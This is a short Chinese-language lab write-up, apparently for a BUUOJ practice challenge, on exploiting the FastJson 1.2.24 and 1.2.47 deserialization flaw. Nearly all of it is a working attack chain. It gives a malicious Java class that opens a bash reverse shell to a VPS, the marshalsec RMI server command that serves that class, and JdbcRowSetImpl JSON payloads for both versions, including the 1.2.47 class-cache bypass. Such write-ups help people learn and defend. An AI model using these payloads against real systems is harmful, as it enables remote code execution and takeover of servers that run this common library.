之前只在本地测试过FastJson的漏洞,实战情况下一般需要利用VPS反弹shell,这里尝试一下
环境
https://buuoj.cn/challenges#[FastJson]1.2.24-rce
构建rmi服务器工具marshalsec
https://github.com/RandomRobbieBF/marshalsec-jar.git
FastJson1.2.24
首先编写恶意类
import java.lang.Runtime;
public class Exploit{
public Exploit(){
try{
Runtime.getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/VPS/6666 0>&1");
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
编译后,上传到VPS,在对应目录下运行python3 -m http.server 2333,如果打不通需要检检查所有端口是否关闭防火墙。
检查恶意类是否能在本地反弹shell,并检查python启动的服务是否能正常访问。
使用工具marshalsec启动RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://VPS:2333/#Exploit" 9999
在提交的数据包中
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://VPS:9999/Exploit",
"autoCommit":true
}
}
即可连上shell
FastJson1.2.47
同样的办法,只需要修改最后提交的post数据即可
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://VPS:9999/Exploit",
"autoCommit":true
}
}